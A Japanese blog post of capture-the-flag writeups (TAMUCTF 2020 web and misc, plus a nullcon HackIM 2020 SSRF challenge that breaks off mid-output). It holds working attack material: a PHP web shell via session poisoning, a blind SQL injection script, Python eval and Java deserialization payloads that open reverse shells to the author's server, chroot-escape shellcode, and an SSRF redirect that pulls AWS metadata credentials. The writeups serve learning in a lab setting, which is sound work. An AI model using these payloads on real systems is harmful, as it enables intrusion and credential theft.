こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

TAMUCTF 2020 Writeup - Web + Misc

久しぶりのCTF。

TAMUCTF2020のWeb問題を全完したのでwriteupを書く。ついでにMISCも2問ほど。
手頃な難易度でした。

CREDITS

Question

Try testing out this new credit system that I just created!

http://credits.tamuctf.com/

Hint: Credit generation is rate limited. It is literally impossible to generate 2,000,000,000 credits within the CTF timeframe. Don't be that guy.

ログイン前
f:id:graneed:20200322171641p:plain

ログイン後
f:id:graneed:20200322171847p:plain

Solution

Generate credit!ボタンを押すと1クレジット増えるシステム。クレジットを増やしてFlagを購入できると勝ち。 リクエストを見ると、increment=1を送信している。2000000000に改ざんしてクレジットを一気に増やしてフラグを購入する。

gigem{serverside_53rv3r5163_SerVeRSide}

TOO_MANY_CREDITS_1

Question

Okay, fine, there's a lot of credit systems. We had to put that guy on break; seriously concerned about that dude.

Anywho. We've made an actually secure one now, with Java, not dirty JS this time. Give it a whack?

If you get two thousand million credits again, well, we'll just have to shut this program down.

http://toomanycredits.tamuctf.com

f:id:graneed:20200322172524p:plain

Solution

Get Moreボタンを押すと1クレジット増えるシステム。

Cookieに、Base64文字列がセットされており、押下ごとに変化する。

root@kali:~# curl -v http://toomanycredits.tamuctf.com/
*   Trying 34.208.211.186:80...
* TCP_NODELAY set
* Connected to toomanycredits.tamuctf.com (34.208.211.186) port 80 (#0)
> GET / HTTP/1.1
> Host: toomanycredits.tamuctf.com
> User-Agent: curl/7.69.0-DEV
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Fri, 20 Mar 2020 14:22:06 GMT
< Content-Type: text/html;charset=UTF-8
< Content-Length: 454
< Connection: keep-alive
< Set-Cookie: counter="H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA=="; Version=1; HttpOnly
< Content-Language: en-US
<
<!DOCTYPE HTML>

<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />

    <title>Java Credits</title>
</head>

<body>

<main role="main">

    <form>
        <h2>
            <span>You have 1 credits.</span>
            <span> You haven't won yet...</span>
        </h2>
        <button type="submit">Get More</button>
    </form>

</main>
</body>
</html>

デコードするとgzipで圧縮されたデータのようなので、それも展開すると、Javaシリアライズされたオブジェクトのようだ。

SerializationDumperで確認する。
github.com

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020# echo -n H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA== | base64 -d | gzip -d > 1credit.ser

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020# java -jar /opt/SerializationDumper/SerializationDumper.jar -r ./1credit.ser

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 45 - 0x00 2d
        Value - com.credits.credits.credits.model.CreditCount - 0x636f6d2e637265646974732e637265646974732e637265646974732e6d6f64656c2e437265646974436f756e74
      serialVersionUID - 0x32 09 db 12 14 09 24 47
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 1 - 0x00 01
      Fields
        0:
          Long - L - 0x4a
          fieldName
            Length - 5 - 0x00 05
            Value - value - 0x76616c7565
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 01
    classdata
      com.credits.credits.credits.model.CreditCount
        values
          value
            (long)1 - 0x00 00 00 00 00 00 00 01

同パッケージの同名クラスを作成して、多額のクレジットを持ったインスタンスを生成して、シリアライズする。
serialVersionUIDを合わせないと、サーバ側でデシリアライズ時に弾かれるので注意。

package com.credits.credits.credits.model;

import java.io.Serializable;
import java.math.*;

public class CreditCount implements Serializable {

    private static final long serialVersionUID = 3605653847378830407L;

    long value;
  
    public CreditCount(){
        this.value = Long.MAX_VALUE - 1;
    }
}

シリアライズするクラスは以下のとおり。

package com.credits.credits.credits.model;
 
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.FileNotFoundException;
import java.io.IOException;

public class SerializeTest {
    public static void main(String[] args) {
        try {
            ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("CreditCount.ser"));
            CreditCount creditCount = new CreditCount();
            o.writeObject(creditCount);
            o.close();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

コンパイルして、GZIP圧縮およびBASE64エンコードしてCookieにセットする。

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# javac com/credits/credits/credits/model/*.java

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# java com.credits.credits.credits.model.SerializeTest

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# gzip -c CreditCount.ser | base64 -w0
H4sICOMkd14AA0NyZWRpdENvdW50LnNlcgBb85aBtbiIQTc5P1cvuSg1JbOkGIPOzU9JzdFzBvOc80vzSow4bwuJcKq4MzEwejGwliXmlKZWFNT/B4N/AB/mH3VSAAAA

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# curl toomanycredits.tamuctf.com -b "counter=H4sICOMkd14AA0NyZWRpdENvdW50LnNlcgBb85aBtbiIQTc5P1cvuSg1JbOkGIPOzU9JzdFzBvOc80vzSow4bwuJcKq4MzEwejGwliXmlKZWFNT/B4N/AB/mH3VSAAAA"
<!DOCTYPE HTML>

<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />

    <title>Java Credits</title>
</head>

<body>

<main role="main">

    <form>
        <h2>
            <span>You have 9223372036854775807 credits.</span>
            <span> gigem{l0rdy_th15_1s_mAny_cr3d1ts}</span>
        </h2>
        <button type="submit">Get More</button>
    </form>

</main>
</body>
</html>
gigem{l0rdy_th15_1s_mAny_cr3d1ts}

なお、valueLong.MAX_VALUE - 1;にしている理由は、サーバ側のインクリメント処理でオーバーフローして、大金持ちが一転して多額の借金を抱える羽目になるのを防ぐためである。

FILESTORAGE

Question

Try out my new file sharing site!

http://filestorage.tamuctf.com

ログイン前
f:id:graneed:20200322175440p:plain

ログイン後
f:id:graneed:20200322175503p:plain

Solution

最初に任意の名前を入力してログインする。

その後の画面にディレクトリトラバーサル脆弱性がある。

PHPのセッションファイルを指定可能であるため、nameにPHPのコードをセットしてからセッションファイルを読ませると、セッションファイル内のnameの部分でコード実行できる。

最初に、cmdパラメータをそのままOSコマンドとして実行するコードをnameに設定する。

root@kali:~/node_work# curl http://filestorage.tamuctf.com/index.php -d 'name=<?php system($_GET["cmd"]);?>' -v
*   Trying 34.208.211.186:80...
* TCP_NODELAY set
* Connected to filestorage.tamuctf.com (34.208.211.186) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: filestorage.tamuctf.com
> User-Agent: curl/7.69.0-DEV
> Accept: */*
> Content-Length: 34
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 34 out of 34 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Sat, 21 Mar 2020 03:50:13 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 568
< Connection: keep-alive
< X-Powered-By: PHP/7.3.15
< Set-Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        Hello, <?php system($_GET["cmd"]);?><br><ul class="list-group mx-2"><li class="list-group-item my-1"><a href='?file=beemovie.txt'>beemovie.txt</a></li><li class="list-group-item my-1"><a href='?file=hello.txt'>hello.txt</a></li><li class="list-group-item my-1"><a href='?file=pi.txt'>pi.txt</a></li></ul> </body>
</html>
* Connection #0 to host filestorage.tamuctf.com left intact

lsコマンドを実行。うまくいっているようだ。

root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls" --output -
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        <a class="btn btn-primary" href="index.php" role="button">&#129092; Go back</a><br>name|s:29:"files
index.html
index.php
";      </body>
</html>

/ディレクトリにflag_is_hereディレクトリを発見。

root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls%20/" --output -
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        <a class="btn btn-primary" href="index.php" role="button">&#129092; Go back</a><br>name|s:29:"bin
dev
etc
flag_is_here
home
lib
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
";      </body>
</html>

root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls%20/flag_is_here" --output -
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        <a class="btn btn-primary" href="index.php" role="button">&#129092; Go back</a><br>name|s:29:"flag.txt
";      </body>
</html>

flag.txtファイルを表示する。

root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=cat%20/flag_is_here/flag.txt" --output -
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        <a class="btn btn-primary" href="index.php" role="button">&#129092; Go back</a><br>name|s:29:"gigem{535510n_f1l3_p0150n1n6}";   </body>
</html>
gigem{535510n_f1l3_p0150n1n6}

PASSWORD_EXTRACTION

Question

The owner of this website often reuses passwords. Can you find out the password they are using on this test server?

http://passwordextraction.tamuctf.com

You do not need to use brute force for this challenge.

f:id:graneed:20200322191412p:plain

Solution

usernameでBlind SQL Injectonが可能。
information_schemaからテーブル名を取得し、password列を取得。列名は画面の項目名と同じだった。

実行結果はソースコードのコメントに記載。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'http://passwordextraction.tamuctf.com/login.php'
target = ""

def trace_request(req):
    print("[+] request start")
    print('{}\n{}\n\n{}'.format(
        req.method + ' ' + req.url,
        '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        req.body,
    ))
    print("[+] request end")

def trace_response(res):
    print("[+] response start")
    print('{}\n{}\n\n{}'.format(
        res.status_code,
        '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
        res.content,
    ))
    print("[+] response end")

def challenge(offset, guess):
    req = requests.Request(
        'POST',
        URL,
        data={
            #"username" : "' or ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 0,1),{},1)) < {} #".format(offset + 1, guess),
            #Output:
            #[+] target: accounts
            "username" : "' or ASCII(SUBSTRING((select password from accounts limit 0,1),{},1)) < {} #".format(offset + 1, guess),
            #Output:
            #[+] target: gigem{h0peYouScr1ptedTh1s}
            "password" : "aaaa"
        }
    )
    prepared = req.prepare()
    #trace_request(prepared)
    session = requests.Session()
    #start = time.time() # TimeBased用
    res = session.send(prepared, allow_redirects = False)
    #elapsed_time = time.time() - start # TimeBased用
    #trace_response(res)

    if "successfully" in res.content.decode("utf-8"):
        return True # 取得したい文字の文字コードは予想文字の文字コードより小さい
    else:
        return False # 取得したい文字の文字コードは予想文字の文字コード以上

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)
gigem{h0peYouScr1ptedTh1s}

MENTALMATH

Question

My first web app, check it out!

http://mentalmath.tamuctf.com

Hint: I don't believe in giving prizes for solving questions, no matter how many!

f:id:graneed:20200322192104p:plain

f:id:graneed:20200322192119p:plain

Solution

簡単な数式が出されて、正解すると次の問題が出題されるWebサイト。

リクエストを観察すると、項目入力の都度、problemに数式、answerに入力値をセットし、送信している。

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=9*91' -d 'answer=819'
{"correct": true, "problem": "23 - 29"}

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=9*91' -d 'answer=811'
{"correct": false}

サーバ側で、problemをevalのような関数に渡していると推測。

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=ord("a")' -d 'answer=97'
{"correct": true, "problem": "10 * 56"}

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=ord("b")' -d 'answer=97'
{"correct": false}

ビンゴ。

リバースシェルを張るコードを送り込む。

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "X-Requested-With: XMLHttpRequest" \
-d 'answer=97' -d 'problem=__import__("os").system("nc -e /bin/sh <myserver> <port>")'

接続が来た。

root@ip-172-31-6-71:/opt/vim# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 34.208.211.186 37674 received!
ls
db.sqlite3
flag.txt
manage.py
mathgame
mentalmath
requirements.txt
cat flag.txt
gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}
gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}

TOO_MANY_CREDITS_2

Question

Even if you could get the first flag, I bet you can't pop a shell!

http://toomanycredits.tamuctf.com

Solution

TOO_MANY_CREDITS_2の続き。 問題文より、shellを取れば勝ちのようだ。

Javaシリアライズといえばysoserial。
github.com

エラーメッセージに「Whitelabel Error Page」と出力されている。Springフレームワークのようだ。 Spring用のペイロードが使用できそうだ。

以下のシェルスクリプトを実行し、ncコマンドで自サーバにコネクトバックを試すと接続が来た。 (コメントアウトしている部分は総当たり用。今回はSpringと分かっている。)

#!/bin/sh

command="nc <myserver> <port>"

#for Payload in BeanShell1 C3P0 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Wicket1
for Payload in Spring1
do
echo ${Payload}
counter=`java -jar ysoserial-master-SNAPSHOT.jar ${Payload} "${command}" | gzip -c | base64 -w0`
echo ${counter}
curl toomanycredits.tamuctf.com -H "Accept: text/html" -b "counter=${counter}"
done

しかし、リバースシェルが張れない。

調べると、以下の記事がHIT。少し改造が必要なようだ。
medium.com

gitからソースコードを取得して改造する。
src/main/java/ysoserial/payloads/util/Gadgets.java

        //String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        //    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        //    "\");";
        String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\"}).waitFor();";

dockerを使用してコンパイルする。

root@kali:/opt/ysoserial# docker build ./ -t ysoserial
Sending build context to Docker daemon  793.6kB
(snip)
Successfully built 77a3baf72e1d
Successfully tagged ysoserial:latest

dockerでコンパイルしたysoserialを使用するよう、シェルスクリプトを手直しして実行する。

#!/bin/sh

command="exec 5<>/dev/tcp/<myserver>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"

#for Payload in BeanShell1 C3P0 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Wicket1
for Payload in Spring1
do
echo ${Payload}
counter=`docker run ysoserial ${Payload} "${command}" | gzip -c | base64 -w0`
echo ${counter}
curl toomanycredits.tamuctf.com -H "Accept: text/html" -b "counter=${counter}"
done

リバースシェルを張れた。

ubuntu@ip-172-31-6-71:~$ nc -lnvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 34.208.211.186 59288 received!
ls
bin
flag.txt
lib
cat flag.txt
gigem{da$h_3_1s_A_l1f3seNd}
gigem{da$h_3_1s_A_l1f3seNd}

GEOGRAPHY

Question

My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111.

She's always been a bit cryptic. She told me to "surround with gigem{} that which can be seen from a bird's eye view"... what?

Solution

floatに変換。

>>> struct.unpack('>f', 0b11000010100011000111111111101110.to_bytes(4, byteorder='big'))
(-70.24986267089844,)

>>> struct.unpack('>f', 0b11000001100101000011101111011111.to_bytes(4, byteorder='big'))
(-18.529233932495117,)

緯度・経度のようになった。

https://www.google.com/maps/search/-18.529233932495117+-70.24986267089844

GoogleMap上で、コカ・コーラの地上絵らしきものを発見。

gigem{Coca-Cola}

NOT_SO_GREAT_ESCAPE

Question

We've set up a chroot for you to develop your musl code in. It's bare, so install whatever you need.

Feel free to log in with a raw TCP socket at challenges.tamuctf.com:4353.

The password is "(snip)"

Solution

まずはncで接続する。

root@kali:~# nc challenge.tamuctf.com 4353
Password: 2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e

/ # ^[[37;5Rpwd
pwd
/

少々、文字が化けているが、接続できた。

問題文より、chrootから脱獄する問題だと予想。
以下の記事を参考にする。
inaz2.hatenablog.com

自サーバで実行ファイルを作成し、問題サーバからダウンロードできるようにWebサーバに公開。

root@ip-172-31-6-71:/var/www/html# cat ./loader.c
/* loader.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char code[] = "\x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
    printf("strlen(code) = %ld\n", strlen(code));
    ((void (*)())code)();
    return 0;
}

root@ip-172-31-6-71:/var/www/html# gcc -static -zexecstack loader.c

root@ip-172-31-6-71:/var/www/html# ll ./a.out
-rwxr-xr-x 1 root root 844736 Mar 22 10:47 ./a.out*

実行ファイルをダウンロードして実行して脱獄。(化けている部分は編集)

/ # cd /tmp
cd /tmp
/tmp # wget http://13.113.186.8/a.out
wget http://13.113.186.8/a.out
Connecting to 13.113.186.8 (13.113.186.8:80)
saving to 'a.out'
a.out                100% |********************************|  824k  0:00:00 ETA
'a.out' saved
/tmp # chmod 777 ./a.out
chmod 777 ./a.out
/tmp # ./a.out
./a.out
strlen(code) = 89
/ # 

脱獄後に、ルートディレクトリを確認すると、pwnディレクトリが存在。

/ # ls -la /
ls -la /
total 64
drwxr-xr-x    1 root     root          4096 Mar 19 01:57 .
drwxr-xr-x    1 root     root          4096 Mar 19 01:57 ..
-rwxr-xr-x    1 root     root             0 Mar 19 01:57 .dockerenv
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 bin
drwxr-xr-x    5 root     root           340 Mar 22 13:27 dev
drwxr-xr-x    1 root     root          4096 Mar 19 01:57 etc
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 home
drwxr-xr-x    1 root     root          4096 Jan 16 21:52 lib
drwxr-xr-x    5 root     root          4096 Jan 16 21:52 media
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 mnt
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 opt
dr-xr-xr-x 1646 root     root             0 Mar 22 13:27 proc
drwxr-xr-x    1 root     root          4096 Mar 17 23:34 pwn
drwx------    2 root     root          4096 Jan 16 21:52 root
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 run
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 sbin
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 srv
dr-xr-xr-x   13 root     root             0 Mar 20 01:16 sys
drwxrwxrwt    3 root     root            60 Mar 22 13:30 tmp
drwxr-xr-x    1 root     root          4096 Jan 16 21:52 usr
drwxr-xr-x    1 root     root          4096 Jan 16 21:52 var

/ # cd /pwn
cd /pwn

/pwn # ls -la
ls -la
total 20
drwxr-xr-x    1 root     root          4096 Mar 17 23:34 .
drwxr-xr-x    1 root     root          4096 Mar 19 01:57 ..
-rw-rw-r--    1 root     root            25 Mar 17 21:49 flag.txt
drwxr-xr-x    1 root     root          4096 Mar 17 23:34 jail
-rwxrwxr-x    1 root     root           468 Mar 17 21:49 not-so-great-escape

/pwn # cat flag.txt
cat flag.txt
gigem{up_up_&_a_way_0u7}

参考までに、ログイン時に実行されるとみられるnot-so-great-escapeファイルは以下のとおり。

#!/bin/sh

chroot_dir=$(mktemp -d)

function cleanup {
  rm -rf ${chroot_dir}
}
trap cleanup EXIT

read -sp "Password: " password
echo

if [[ -z "${password}" || "(snip)" != "${password}" ]]; then
  echo -e "Bad password. Exiting."
  exit 1
fi

cp -r /pwn/jail/* ${chroot_dir}

cp /etc/apk/repositories ${chroot_dir}/etc/apk/repositories
cp /etc/resolv.conf ${chroot_dir}/etc/resolv.conf

chroot ${chroot_dir}

nullcon HackIM 2020 Writeup - Lateral Movement

Question

Uncover the new path.

http://3.12.166.246:3000/

Note: no need to bruteforce tenant. The tenant can be any string.

f:id:graneed:20200208233821p:plain

Solution

Stage1

URLにアクセスすると、リッチなUIだが静的な画面。

script.jsのbuildActionRequest関数を見ると、/api/1/というパスが存在することがわかる。

function  buildActionRequest(tenant, tag, typ, action, options) {
            var path;
            var request;
            path = "/api/1/";
            if (tenant && tag)
                path += tenant+tag + "/";
            path += typ + "?action\x3d" + action;
            request = {
                protocol: this.context.protocol,
                hostname: this.context.hostname,
                port: this.context.port,
                path: path,
                method: "POST",
                headers: {
                    "Accept": "application/json",
                    "Content-type": "application/json",
                }
            };
            if (this.context.authToken)
                request.headers.Authorization = this.context.authToken;
            if (this.context.tunnelTo)
                request.headers["X-Tunnel-To"] = this.context.tunnelTo;
            if (options) {
                if (options.headers)
                    Object.keys(options.headers).forEach(function(k) {
                        if (options.headers[k])
                            request.headers[k] = options.headers[k];
                        else
                            delete request.headers[k]
                    });
                if (options.method)
                    request.method = options.method;
                if (options.path)
                    request.path = options.path;
                if (options.data)
                    request.data = options.data
            }
            return request
 }

登場しているHTTPヘッダーをセットして、HTTPリクエストを発行してみる。

root@kali:~# curl -H 'X-Tunnel-To: hoge' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}'
{"errno":-3008,"code":"ENOTFOUND","syscall":"getaddrinfo","hostname":"hoge"}

X-Tunnel-Toを変更するとレスポンスに変化が現れた。指定したホスト名にリクエストを転送するようだ。

root@kali:~# curl -H 'X-Tunnel-To: localhost' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}'
Not permitted!

root@kali:~# curl -H 'X-Tunnel-To: example.com' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}'
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
        <head>
                <title>404 - Not Found</title>
        </head>
        <body>
                <h1>404 - Not Found</h1>
                <script type="text/javascript" src="//wpc.75674.betacdn.net/0075674/www/ec_tpm_bcon.js"></script>
        </body>
</html>

Move laterally within the cloud.というヒントが出ており、AWSインスタンスメタデータが怪しい。
しかし、インスタンスメタデータの接続先である169.254.169.254X-Tunnel-Toに指定するが、ブロックされる。

root@kali:~# curl -H 'X-Tunnel-To: 169.254.169.254' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}'
So smart, But still Internal not permitted!

そこで、リダイレクトで169.254.169.254へアクセスさせる。

まず、自分のサーバに169.254.169.254へ303リダイレクトするページを設置する。(302はNGだった)

root@ip-172-31-26-179:~# cat /var/www/html/api/1/metadata.php
<?php
header('Location: http://169.254.169.254/'.$_GET["q"], TRUE, 303);
?>

X-Tunnel-Toに自分のサーバのホスト名を指定すると、インスタンスメタデータが返ってきた。

root@ip-172-31-26-179:~# curl -H 'X-Tunnel-To: <attacker-server>' 'http://3.12.166.246:3000/api/1/metadata.php'
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
2016-06-30
2016-09-02
2018-03-28
2018-08-17
2018-09-24
latest

EC2インスタンスにアタッチされているIAMロールであるlimited-roleの権限で操作が可能なアクセスキーを取得する。

root@ip-172-31-26-179:~# curl -H 'X-Tunnel-To: <attacker-server>' 'http://3.12.166.246:3000/api/1/metadata.php?q=latest/meta-data/iam/security-credentials/limited-role'
{
  "Code" : "Success",
  "LastUpdated" : "2020-02-08T14:39:41Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATCUSO7XXPHMSQ3XC",
  "SecretAccessKey" : "YnHSOXfK1L06PVYJ(snip)",
